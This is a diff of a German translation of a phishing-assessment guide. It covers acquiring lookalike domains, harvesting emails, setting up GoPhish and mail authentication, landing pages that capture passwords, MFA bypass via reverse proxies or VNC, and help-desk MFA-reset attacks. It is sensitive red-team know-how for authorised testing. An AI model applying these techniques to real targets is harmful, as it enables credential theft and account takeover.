+Es besteht die Möglichkeit, dass einzelne Bits, die gespeichert sind oder während der Kommunikation übertragen werden, sich durch verschiedene Faktoren wie Sonneneruptionen, kosmische Strahlung oder Hardwarefehler automatisch umdrehen.
 
-Wenn dieses Konzept auf DNS-Anfragen **angewandt** wird, ist es möglich, dass die **vom DNS-Server empfangene Domain** nicht mit der ursprünglich angeforderten Domain übereinstimmt.
+Wendet man dieses Konzept auf DNS-Anfragen an, kann es passieren, dass die **Domain, die beim DNS-Server ankommt**, nicht dieselbe ist wie die ursprünglich angeforderte Domain.
 
-Beispielsweise kann eine einzelne Bitmodifikation in der Domain "windows.com" diese in "windnws.com" ändern.
+Beispielsweise kann eine einzelne Bit-Änderung in der Domain "windows.com" zu "windnws.com" führen.
 
-Angreifer können **davon profitieren, indem sie mehrere bitflipping-ähnliche Domains registrieren**, die der Domain des Ziels ähneln. Ihr Ziel ist es, legitime Nutzer auf ihre eigene Infrastruktur umzuleiten.
+Angreifer können dies ausnutzen, indem sie mehrere bit-flipping Domains registrieren, die der Domain des Opfers ähneln. Ihre Absicht ist es, legitime Benutzer auf ihre eigene Infrastruktur umzuleiten.
 
-Weitere Informationen: [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
+Für mehr Informationen siehe [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
 
 ### Buy a trusted domain
 
 Du kannst auf [https://www.expireddomains.net/](https://www.expireddomains.net) nach einer abgelaufenen Domain suchen, die du verwenden könntest.\
-Um sicherzustellen, dass die abgelaufene Domain, die du kaufen möchtest, **bereits ein gutes SEO** hat, kannst du prüfen, wie sie kategorisiert ist in:
+Um sicherzustellen, dass die abgelaufene Domain, die du kaufen möchtest, bereits eine gute SEO hat, kannst du prüfen, wie sie in folgenden Diensten kategorisiert ist:
 
 - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
 - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
 
-## Discovering Emails
+## E-Mail-Ermittlung
 
-- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% kostenlos)
+- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
-- [https://phonebook.cz/](https://phonebook.cz) (100% kostenlos)
+- [https://phonebook.cz/](https://phonebook.cz) (100% free)
 - [https://maildb.io/](https://maildb.io)
 - [https://hunter.io/](https://hunter.io)
 - [https://anymailfinder.com/](https://anymailfinder.com)
 
-Um **mehr gültige E-Mail-Adressen zu entdecken** oder **die bereits gefundenen zu verifizieren**, kannst du prüfen, ob du die SMTP-Server des Ziels brute-forcen kannst. [Erfahre hier, wie man E-Mail-Adressen verifiziert/entdeckt](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
+Um **mehr** gültige E-Mail-Adressen zu entdecken oder die bereits gefundenen Adressen zu **verifizieren**, kannst du prüfen, ob du die SMTP-Server des Opfers brute-forcen kannst. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
-Außerdem: Vergiss nicht, dass wenn Benutzer **ein Webportal zur Mail-Zugriffs** nutzen, du prüfen kannst, ob dieses für **Username-Brute-Force** verwundbar ist, und diese Schwachstelle im gegebenen Fall ausnutzen kannst.
+Außerdem solltest du nicht vergessen, dass wenn Benutzer **einen Webportal nutzen, um auf ihre Mails zuzugreifen**, du überprüfen kannst, ob dieser anfällig für **username brute force** ist, und die Schwachstelle falls möglich ausnutzen.
 
-## GoPhish konfigurieren
+## Configuring GoPhish
 
 ### Installation
 
 Du kannst es von [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) herunterladen.
 
-Downloade und entpacke es innerhalb von `/opt/gophish` und führe `/opt/gophish/gophish` aus.\
+Lade es herunter und entpacke es unter `/opt/gophish` und führe `/opt/gophish/gophish` aus.\
-Im Output wird dir ein Passwort für den Admin-User auf Port 3333 angezeigt. Greife daher auf diesen Port zu und verwende diese Zugangsdaten, um das Admin-Passwort zu ändern. Möglicherweise musst du diesen Port zu lokal tunneln:
+Im Output wird dir ein Passwort für den Admin-Benutzer auf Port 3333 angezeigt. Greife daher auf diesen Port zu und verwende diese Zugangsdaten, um das Admin-Passwort zu ändern. Möglicherweise musst du diesen Port auf lokal tunneln:
 ```bash
 ssh -L 3333:127.0.0.1:3333 <user>@<ip>
 ```
 ### Konfiguration
 
-**TLS-Zertifikatkonfiguration**
+**TLS-Zertifikat-Konfiguration**
 
-Vor diesem Schritt sollten Sie **die Domain bereits gekauft haben**, die Sie verwenden möchten, und sie muss **auf die IP des VPS** zeigen, auf dem Sie **gophish** konfigurieren.
+Vor diesem Schritt sollten Sie die Domain, die Sie verwenden werden, bereits gekauft haben; sie muss auf die IP des VPS zeigen, auf dem Sie gophish konfigurieren.
 ```bash
 DOMAIN="<domain>"
 wget https://dl.eff.org/certbot-auto
@@ -114,32 +115,32 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
 ```
 **Mail-Konfiguration**
 
-Beginnen Sie mit der Installation: `apt-get install postfix`
+Installation starten: `apt-get install postfix`
 
-Fügen Sie dann die Domain zu den folgenden Dateien hinzu:
+Füge dann die Domain zu den folgenden Dateien hinzu:
 
 - **/etc/postfix/virtual_domains**
 - **/etc/postfix/transport**
 - **/etc/postfix/virtual_regexp**
 
-**Ändern Sie außerdem die Werte der folgenden Variablen in /etc/postfix/main.cf**
+**Ändere außerdem die Werte der folgenden Variablen in /etc/postfix/main.cf**
 
 `myhostname = <domain>`\
 `mydestination = $myhostname, <domain>, localhost.com, localhost`
 
-Ändern Sie abschließend die Dateien **`/etc/hostname`** und **`/etc/mailname`** auf Ihren Domainnamen und **starten Sie Ihren VPS neu.**
+Ändere abschließend die Dateien **`/etc/hostname`** und **`/etc/mailname`** auf deinen Domainnamen und **starte deinen VPS neu.**
 
-Erstellen Sie nun einen **DNS A record** für `mail.<domain>`, der auf die **IP-Adresse** des VPS zeigt, und einen **DNS MX**-Eintrag, der auf `mail.<domain>` zeigt.
+Erstelle nun einen **DNS A record** für `mail.<domain>`, der auf die **IP-Adresse** des VPS zeigt, und einen **DNS MX** record, der auf `mail.<domain>` zeigt.
 
-Jetzt testen wir das Versenden einer E-Mail:
+Testen wir jetzt das Senden einer E-Mail:
 ```bash
 apt install mailutils
 echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
 ```
 **Gophish-Konfiguration**
 
-Stoppe die Ausführung von gophish und lass es uns konfigurieren.\\
+Beenden Sie die Ausführung von gophish und konfigurieren Sie es.\
-Ändere `/opt/gophish/config.json` wie folgt (achte auf die Verwendung von https):
+Bearbeiten Sie `/opt/gophish/config.json` wie folgt (beachten Sie die Verwendung von https):
 ```bash
 {
 "admin_server": {
@@ -164,9 +165,9 @@ Stoppe die Ausführung von gophish und lass es uns konfigurieren.\\
 }
 }
 ```
-**Gophish-Service konfigurieren**
+**gophish-Dienst konfigurieren**
 
-Um den gophish-Service zu erstellen, damit er automatisch gestartet und als Service verwaltet werden kann, können Sie die Datei `/etc/init.d/gophish` mit folgendem Inhalt erstellen:
+Um den gophish-Dienst so zu erstellen, dass er automatisch gestartet und als Dienst verwaltet werden kann, können Sie die Datei `/etc/init.d/gophish` mit folgendem Inhalt erstellen:
 ```bash
 #!/bin/bash
 # /etc/init.d/gophish
@@ -213,7 +214,7 @@ case $1 in
 start|stop|status) "$1" ;;
 esac
 ```
-Schließen Sie die Konfiguration des Dienstes ab und überprüfen Sie ihn, indem Sie:
+Konfiguriere den Dienst fertig und prüfe ihn, indem du:
 ```bash
 mkdir /var/log/gophish
 chmod +x /etc/init.d/gophish
@@ -226,44 +227,44 @@ service gophish stop
 ```
 ## Mailserver und Domain konfigurieren
 
-### Warten & legitim sein
+### Warten & legitim wirken
 
-Je älter eine Domain ist, desto unwahrscheinlicher wird sie als Spam eingestuft. Daher solltest du so viel Zeit wie möglich warten (mindestens 1 Woche) vor der phishing assessment. Außerdem, wenn du eine Seite zu einem reputablen Sektor erstellst, wird die erhaltene Reputation besser sein.
+Je älter eine Domain ist, desto geringer ist die Wahrscheinlichkeit, dass sie als Spam eingestuft wird. Daher solltest du so lange wie möglich (mindestens 1 Woche) vor der phishing assessment warten. Außerdem: Wenn du eine Seite zu einem reputablen Sektor anlegst, wird die dadurch erzielte Reputation besser sein.
 
-Beachte, dass du auch wenn du eine Woche warten musst, jetzt alles konfigurieren kannst.
+Beachte, dass du selbst wenn du eine Woche warten musst, jetzt bereits alles konfigurieren kannst.
 
-### Reverse DNS (rDNS) record konfigurieren
+### Configure Reverse DNS (rDNS) record
 
-Setze einen rDNS (PTR)-Eintrag, der die IP-Adresse des VPS auf den Domainnamen auflöst.
+Setze einen rDNS (PTR) record, der die IP-Adresse des VPS auf den Domainnamen auflöst.
 
-### Sender Policy Framework (SPF)-Eintrag
+### Sender Policy Framework (SPF) Record
 
-Du musst **einen SPF-Eintrag für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein SPF-Eintrag ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
+Du musst **einen SPF record für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein SPF record ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
 
-Du kannst [https://www.spfwizard.net/](https://www.spfwizard.net) verwenden, um deine SPF-Policy zu erzeugen (verwende die IP des VPS).
+Du kannst [https://www.spfwizard.net/](https://www.spfwizard.net) nutzen, um deine SPF-Policy zu generieren (verwende die IP des VPS).
 
 ![](<../../images/image (1037).png>)
 
-Das ist der Inhalt, der in einen TXT-Eintrag der Domain gesetzt werden muss:
+Dies ist der Inhalt, der in einem TXT record der Domain gesetzt werden muss:
 ```bash
 v=spf1 mx a ip4:ip.ip.ip.ip ?all
 ```
-### Domain-basierte Message Authentication, Reporting & Conformance (DMARC)-Eintrag
+### Domain-based Message Authentication, Reporting & Conformance (DMARC) Eintrag
 
-Sie müssen **einen DMARC-Eintrag für die neue Domain konfigurieren**. Wenn Sie nicht wissen, was ein DMARC-Eintrag ist, [**lesen Sie diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
+Du musst **einen DMARC-Eintrag für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein DMARC-Eintrag ist, [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
 
-Sie müssen einen neuen DNS TXT-Eintrag erstellen, der auf den Hostnamen `_dmarc.<domain>` zeigt, mit folgendem Inhalt:
+Du musst einen neuen DNS TXT-Eintrag für den Hostnamen `_dmarc.<domain>` mit folgendem Inhalt erstellen:
 ```bash
 v=DMARC1; p=none
 ```
 ### DomainKeys Identified Mail (DKIM)
 
-Du musst **einen DKIM für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein DMARC-Record ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
+Du musst **für die neue Domain DKIM konfigurieren**. Wenn du nicht weißt, was ein DMARC-Record ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
 
 Dieses Tutorial basiert auf: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
 
 > [!TIP]
-> Du musst beide B64-Werte, die der DKIM-Schlüssel erzeugt, zusammenfügen:
+> Du musst beide B64-Werte, die der DKIM key erzeugt, aneinanderfügen:
 >
 > ```
 > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@@ -271,13 +272,13 @@ Dieses Tutorial basiert auf: [https://www.digitalocean.com/community/tutorials/h
 
 ### Teste die Bewertung deiner E-Mail-Konfiguration
 
-Das kannst du mit [https://www.mail-tester.com/](https://www.mail-tester.com/)\
+Das kannst du mit [https://www.mail-tester.com/](https://www.mail-tester.com) machen.\
-Öffne die Seite und sende eine E-Mail an die dort angegebene Adresse:
+Öffne einfach die Seite und sende eine E-Mail an die Adresse, die dir dort angezeigt wird:
 ```bash
 echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
 ```
-Sie können auch **Ihre E-Mail-Konfiguration prüfen**, indem Sie eine E-Mail an `check-auth@verifier.port25.com` senden und **die Antwort lesen** (dafür müssen Sie **öffnen** Port **25** und die Antwort in der Datei _/var/mail/root_ sehen, wenn Sie die E-Mail als root senden).\
+Du kannst auch **deine E-Mail-Konfiguration überprüfen**, indem du eine E-Mail an `check-auth@verifier.port25.com` sendest und **die Antwort liest** (dafür musst du **Port 25 öffnen** und die Antwort in der Datei _/var/mail/root_ ansehen, wenn du die E-Mail als root sendest).\
-Prüfen Sie, ob Sie alle Tests bestehen:
+Stelle sicher, dass du alle Tests bestehst:
 ```bash
 ==========================================================
 Summary of Results
@@ -288,40 +289,40 @@ DKIM check:         pass
 Sender-ID check:    pass
 SpamAssassin check: ham
 ```
-Sie können auch **eine Nachricht an ein Gmail-Konto unter Ihrer Kontrolle** senden und die **E-Mail-Header** in Ihrem Gmail-Posteingang prüfen; `dkim=pass` sollte im `Authentication-Results` Header-Feld vorhanden sein.
+Du könntest auch eine **Nachricht an ein unter deiner Kontrolle stehendes Gmail-Konto** senden und die **Header der E-Mail** in deinem Gmail-Posteingang prüfen, `dkim=pass` sollte im Header-Feld `Authentication-Results` vorhanden sein.
 ```
 Authentication-Results: mx.google.com;
 spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
 dkim=pass header.i=@example.com;
 ```
-### ​Entfernen aus der Spamhaus-Blacklist
+### ​Removing from Spamhouse Blacklist
 
-Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann dir anzeigen, ob deine Domain von Spamhaus blockiert wird. Du kannst die Entfernung deiner Domain/IP hier anfordern: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
+Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann anzeigen, ob Ihre Domain von Spamhouse blockiert wird. Sie können die Entfernung Ihrer Domain/IP hier beantragen: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
 
-### Entfernen aus der Microsoft-Blacklist
+### Removing from Microsoft Blacklist
 
-​​Du kannst die Entfernung deiner Domain/IP hier anfordern: [https://sender.office.com/](https://sender.office.com).
+​​Sie können die Entfernung Ihrer Domain/IP hier beantragen: [https://sender.office.com/](https://sender.office.com).
 
-## Create & Launch GoPhish Campaign
+## Erstellen & Starten einer GoPhish-Kampagne
 
 ### Sending Profile
 
-- Vergib einen **Namen zur Identifikation** des Absenderprofils
+- Vergeben Sie einen **Namen zur Identifikation** des Absenderprofils
-- Entscheide, von welchem Account du die Phishing-Mails senden wirst. Vorschläge: _noreply, support, servicedesk, salesforce..._
+- Entscheiden Sie, von welchem Account Sie die Phishing-E-Mails senden werden. Vorschläge: _noreply, support, servicedesk, salesforce..._
-- Du kannst Benutzername und Passwort leer lassen, achte aber darauf, "**Ignore Certificate Errors**" anzuhaken
+- Sie können Benutzername und Passwort leer lassen, stellen Sie aber sicher, dass die Option "Ignore Certificate Errors" aktiviert ist
 
 ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
 
 > [!TIP]
-> Es wird empfohlen, die Funktion "**Send Test Email**" zu verwenden, um zu prüfen, ob alles funktioniert.\
+> Es wird empfohlen, die "**Send Test Email**"-Funktion zu verwenden, um zu prüfen, ob alles funktioniert.\
-> Ich empfehle, die Test-E-Mails an Adressen von 10min mails zu senden, um zu vermeiden, dass man beim Testen auf Blacklists landet.
+> Ich empfehle, **die Test-E-Mails an 10min mails-Adressen zu senden**, um zu vermeiden, beim Testen auf Blacklists zu landen.
 
-### Email Template
+### E-Mail-Vorlage
 
-- Vergib einen **Namen zur Identifikation** der Vorlage
+- Geben Sie einen **Namen zur Identifikation** der Vorlage an
-- Dann schreibe einen **Betreff** (nichts Ungewöhnliches, nur etwas, das man in einer normalen E-Mail erwarten würde)
+- Schreiben Sie dann einen **Betreff** (nichts Verdächtiges, etwas, das man in einer normalen E-Mail erwarten würde)
-- Stelle sicher, dass du "**Add Tracking Image**" angehakt hast
+- Stellen Sie sicher, dass Sie "**Add Tracking Image**" aktiviert haben
-- Schreibe die **E-Mail-Vorlage** (du kannst Variablen verwenden wie im folgenden Beispiel):
+- Schreiben Sie die **E-Mail-Vorlage** (Sie können Variablen verwenden wie im folgenden Beispiel):
 ```html
 <html>
 <head>
@@ -340,56 +341,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
 </body>
 </html>
 ```
-Beachte, dass **um die Glaubwürdigkeit der E‑Mail zu erhöhen**, empfohlen wird, eine Signatur aus einer E‑Mail des Kunden zu verwenden. Vorschläge:
+Beachte, dass es **zur Erhöhung der Glaubwürdigkeit der E-Mail** empfohlen wird, eine Signatur aus einer E-Mail des Kunden zu verwenden. Vorschläge:
 
-- Sende eine E‑Mail an eine **nicht existierende Adresse** und prüfe, ob die Antwort eine Signatur enthält.
+- Sende eine E-Mail an eine **nicht existente Adresse** und prüfe, ob die Antwort eine Signatur enthält.
-- Suche nach **öffentlichen E‑Mail‑Adressen** wie info@ex.com oder press@ex.com oder public@ex.com, sende ihnen eine E‑Mail und warte auf die Antwort.
+- Suche nach **öffentlichen E-Mails** wie info@ex.com oder press@ex.com oder public@ex.com und sende ihnen eine E-Mail und warte auf die Antwort.
-- Versuche, eine **entdeckte gültige** E‑Mail zu kontaktieren und warte auf die Antwort
+- Versuche, **eine gültige gefundene** E-Mail zu kontaktieren und warte auf die Antwort
 
 ![](<../../images/image (80).png>)
 
 > [!TIP]
-> Die E‑Mail‑Vorlage erlaubt es außerdem, **Dateien anzuhängen, die versendet werden**. Wenn du außerdem NTLM‑Challenges mit speziell gestalteten Dateien/Dokumenten stehlen möchtest, [lies diese Seite](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
+> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
 
-### Landing Page
+### Landing-Page
 
-- Trage einen **Namen** ein
+- Gib einen **Namen** an
-- **Schreibe den HTML‑Code** der Webseite. Beachte, dass du Webseiten **importieren** kannst.
+- **Schreibe den HTML-Code** der Webseite. Beachte, dass du Webseiten **importieren** kannst.
 - Aktiviere **Capture Submitted Data** und **Capture Passwords**
 - Setze eine **Weiterleitung**
 
 ![](<../../images/image (826).png>)
 
 > [!TIP]
-> Normalerweise musst du den HTML‑Code der Seite anpassen und lokal testen (z. B. mit einem Apache‑Server), **bis dir das Ergebnis gefällt.** Dann fügst du diesen HTML‑Code in das Feld ein.\
+> Normalerweise musst du den HTML-Code der Seite anpassen und einige Tests lokal durchführen (z. B. mit einem Apache-Server), **bis dir das Ergebnis gefällt.** Dann füge diesen HTML-Code in das Feld ein.\
-> Beachte, dass du, falls du **statische Ressourcen** für das HTML benötigst (z. B. CSS‑ oder JS‑Dateien), diese in _**/opt/gophish/static/endpoint**_ speichern und anschließend über _**/static/\<filename>**_ aufrufen kannst.
+> Beachte, dass du, falls du **statische Ressourcen** für das HTML (z. B. CSS- oder JS-Dateien) benötigst, diese in _**/opt/gophish/static/endpoint**_ speichern und dann über _**/static/\<filename>**_ darauf zugreifen kannst.
 
 > [!TIP]
-> Zur Weiterleitung könntest du die Benutzer zur legitimen Hauptseite des Opfers weiterleiten oder sie z. B. zu _/static/migration.html_ schicken, dort für 5 Sekunden ein **Ladesymbol** ([https://loading.io/](https://loading.io)) anzeigen und anschließend mitteilen, dass der Vorgang erfolgreich war.
+> Für die Weiterleitung könntest du die Nutzer auf die legitime Hauptwebseite des Opfers **umleiten**, oder sie z. B. zu _/static/migration.html_ weiterleiten, ein **Lade-Symbol (**[**https://loading.io/**](https://loading.io)**) für 5 Sekunden anzeigen und dann angeben, dass der Prozess erfolgreich war**.
 
-### Users & Groups
+### Benutzer & Gruppen
 
 - Vergib einen Namen
-- **Importiere die Daten** (beachte, dass du für die Verwendung der Vorlage im Beispiel Vorname, Nachname und E‑Mail‑Adresse jedes Benutzers benötigst)
+- **Importiere die Daten** (beachte, dass du für die Verwendung der Vorlage im Beispiel den Vornamen, Nachnamen und die E-Mail-Adresse jedes Nutzers benötigst)
 
 ![](<../../images/image (163).png>)
 
-### Campaign
+### Kampagne
 
-Erstelle schließlich eine Kampagne, indem du einen Namen, die E‑Mail‑Vorlage, die Landing‑Seite, die URL, das Sending Profile und die Gruppe auswählst. Beachte, dass die URL der Link ist, der an die Opfer gesendet wird
+Erstelle abschließend eine Kampagne, indem du einen Namen, die Email-Vorlage, die Landing-Page, die URL, das Sending Profile und die Gruppe auswählst. Beachte, dass die URL der Link ist, der an die Opfer gesendet wird.
 
-Beachte, dass das **Sending Profile erlaubt, eine Test‑E‑Mail zu senden, um zu sehen, wie die finale Phishing‑E‑Mail aussehen wird**:
+Beachte, dass das **Sending Profile erlaubt, eine Test-E-Mail zu senden, um zu sehen, wie die finale Phishing-E-Mail aussehen wird**:
 
 ![](<../../images/image (192).png>)
 
 > [!TIP]
-> Ich empfehle, die Test‑E‑Mails an 10min‑Mail‑Adressen zu senden, um zu vermeiden, beim Testen auf Blacklists zu landen.
+> Ich empfehle, **die Test-E-Mails an 10min mails Adressen** zu senden, um zu vermeiden, dass man beim Testen auf Blacklists landet.
 
-Sobald alles bereit ist, starte einfach die Kampagne!
+Sobald alles fertig ist, starte einfach die Kampagne!
 
-## Website Cloning
+## Website klonen
 
-Wenn du aus irgendeinem Grund die Webseite klonen möchtest, siehe folgende Seite:
+Falls du aus irgendeinem Grund die Website klonen möchtest, sieh dir die folgende Seite an:
 
 
 {{#ref}}
@@ -398,63 +399,65 @@ clone-a-website.md
 
 ## Dokumente & Dateien mit Backdoor
 
-In einigen Phishing‑Assessments (hauptsächlich für Red Teams) möchtest du eventuell auch **Dateien versenden, die eine Art Backdoor enthalten** (z. B. ein C2 oder etwas, das eine Authentifizierung auslöst).\
+Bei manchen Phishing-Assessments (hauptsächlich für Red Teams) möchtest du möglicherweise auch **Dateien mit einer Backdoor** versenden (z. B. ein C2 oder etwas, das eine Authentifizierung auslöst).\
-Sieh dir die folgende Seite für einige Beispiele an:
+Sieh dir die folgende Seite mit einigen Beispielen an:
 
 
 {{#ref}}
 phishing-documents.md
 {{#endref}}
 
-## Phishing MFA
+## Phishing & MFA
 
 ### Via Proxy MitM
 
-Der vorherige Angriff ist ziemlich raffiniert, da du eine echte Webseite vortäuschst und die vom Benutzer eingegebenen Informationen sammelst. Leider erlauben dir diese Informationen nicht, dich als den getäuschten Benutzer auszugeben, wenn der Benutzer das falsche Passwort eingegeben hat oder die von dir gefälschte Anwendung mit 2FA konfiguriert ist.
+Der vorherige Angriff ist ziemlich clever, da du eine echte Website vortäuschst und die vom Benutzer eingegebenen Informationen sammelst. Leider erlauben dir diese Informationen nicht, das getäuschte Konto zu übernehmen, wenn der Benutzer das falsche Passwort eingegeben hat oder die gefälschte Anwendung mit 2FA konfiguriert ist.
 
-An dieser Stelle sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2), [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) nützlich. Diese Tools ermöglichen es, einen MitM‑artigen Angriff durchzuführen. Grundsätzlich funktioniert der Angriff wie folgt:
+Hier kommen Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) ins Spiel. Diese Tools erlauben dir, einen MitM-ähnlichen Angriff zu erzeugen. Grundsätzlich funktioniert der Angriff folgendermaßen:
 
-1. Du fälschst das Login‑Formular der echten Webseite.
+1. Du **gibst das Login-Formular** der echten Webseite vor.
-2. Der Benutzer **sendet** seine **credentials** an deine gefälschte Seite und das Tool leitet diese an die echte Webseite weiter, **prüft, ob die credentials funktionieren**.
+2. Der Benutzer **sendet** seine **Credentials** an deine gefälschte Seite und das Tool leitet diese an die echte Webseite weiter und **prüft, ob die Credentials funktionieren**.
-3. Wenn das Konto mit **2FA** konfiguriert ist, fordert die MitM‑Seite diese an und sobald der **Benutzer sie eingibt**, sendet das Tool sie an die echte Webseite.
+3. Wenn das Konto mit **2FA** konfiguriert ist, fordert die MitM-Seite diese an, und sobald der **Benutzer sie eingibt**, sendet das Tool sie an die echte Webseite.
-4. Sobald der Benutzer authentifiziert ist, hast du (als Angreifer) **die credentials, die 2FA, das cookie und alle Informationen** jeder Interaktion erfasst, während das Tool den MitM durchführt.
+4. Sobald der Benutzer authentifiziert ist, hast du (als Angreifer) **die Credentials, die 2FA, das Cookie und alle Informationen** jeder Interaktion erfasst, während das Tool den MitM durchführt.
 
 ### Via VNC
 
-Was, wenn du anstatt das Opfer auf eine bösartige Seite zu schicken, die genauso aussieht wie die Originalseite, es zu einer **VNC‑Sitzung mit einem Browser, der mit der echten Webseite verbunden ist**, leitest? Du kannst dann sehen, was es macht, das Passwort, die verwendete MFA, die Cookies stehlen...\
+Was, wenn du das Opfer nicht auf eine bösartige Seite mit gleichem Erscheinungsbild schickst, sondern es zu einer **VNC-Sitzung weiterleitest, in der ein Browser mit der echten Webseite verbunden ist**? Du kannst sehen, was er tut, das Passwort, die verwendete MFA, die Cookies … stehlen.\
-Das kannst du mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) durchführen.
+Das kannst du mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) realisieren.
 
 ## Erkennen, ob man entdeckt wurde
 
-Offensichtlich ist eine der besten Methoden herauszufinden, ob du aufgeflogen bist, deine Domain in Blacklists zu **suchen**. Wenn sie gelistet ist, wurde deine Domain offenbar als verdächtig erkannt.\
+Offensichtlich ist eine der besten Methoden herauszufinden, ob du enttarnt wurdest, **deine Domain in Blacklists zu suchen**. Wenn sie gelistet erscheint, wurde deine Domain als verdächtig erkannt.\
-Eine einfache Möglichkeit, zu prüfen, ob deine Domain in einer Blacklist erscheint, ist die Nutzung von [https://malwareworld.com/](https://malwareworld.com)
+Eine einfache Möglichkeit zu prüfen, ob deine Domain in einer Blacklist auftaucht, ist die Nutzung von [https://malwareworld.com/](https://malwareworld.com)
 
-Es gibt jedoch andere Möglichkeiten zu erkennen, ob das Opfer **aktiv nach verdächtiger Phishing‑Aktivität in freier Wildbahn sucht**, wie erklärt in:
+Es gibt jedoch weitere Möglichkeiten zu erkennen, ob das Opfer **aktiv nach verdächtigen Phishing-Aktivitäten im Netz** sucht, wie in folgendem Abschnitt erklärt:
 
 
 {{#ref}}
 detecting-phising.md
 {{#endref}}
 
-Du kannst eine Domain mit einem sehr ähnlichen Namen wie die Domain des Opfers **kaufen** und/oder ein Zertifikat für eine **Subdomain** einer von dir kontrollierten Domain **erzeugen**, die das **Schlüsselwort** der Domain des Opfers enthält. Wenn das **Opfer** irgendwelche **DNS‑ oder HTTP‑Interaktionen** mit ihnen durchführt, weißt du, dass **es aktiv nach** verdächtigen Domains sucht und du extrem verdeckt vorgehen musst.
+Du kannst **eine Domain mit sehr ähnlichem Namen** wie die Domain des Opfers **kaufen und/oder ein Zertifikat** für eine **Subdomain** einer von dir kontrollierten Domain **generieren**, die das **Schlüsselwort** der Domain des Opfers enthält. Wenn das **Opfer** irgendeine **DNS- oder HTTP-Interaktion** mit diesen Domains ausführt, weißt du, dass **es aktiv nach** verdächtigen Domains sucht und du sehr stealthy vorgehen musst.
 
 ### Phishing bewerten
 
-Nutze [**Phishious**](https://github.com/Rices/Phishious), um zu bewerten, ob deine E‑Mail im Spam‑Ordner landen wird, blockiert wird oder erfolgreich ist.
+Nutze [**Phishious** ](https://github.com/Rices/Phishious)um zu bewerten, ob deine E-Mail im Spam-Ordner landet, blockiert wird oder erfolgreich ist.
 
 ## High-Touch Identity Compromise (Help-Desk MFA Reset)
 
+Moderne Intrusion-Teams überspringen zunehmend E-Mail-Köder und **richten ihre Angriffe direkt auf den Service-Desk / Identity-Recovery-Workflow**, um MFA zu umgehen. Der Angriff ist vollständig "living-off-the-land": Sobald der Operator gültige Anmeldeinformationen besitzt, pivotiere er mit eingebauten Admin-Tools – keine Malware ist erforderlich.
+
 ### Angriffsablauf
 1. Aufklärung des Opfers
-* Sammle persönliche & geschäftliche Details von LinkedIn, data breaches, öffentlichem GitHub, etc.
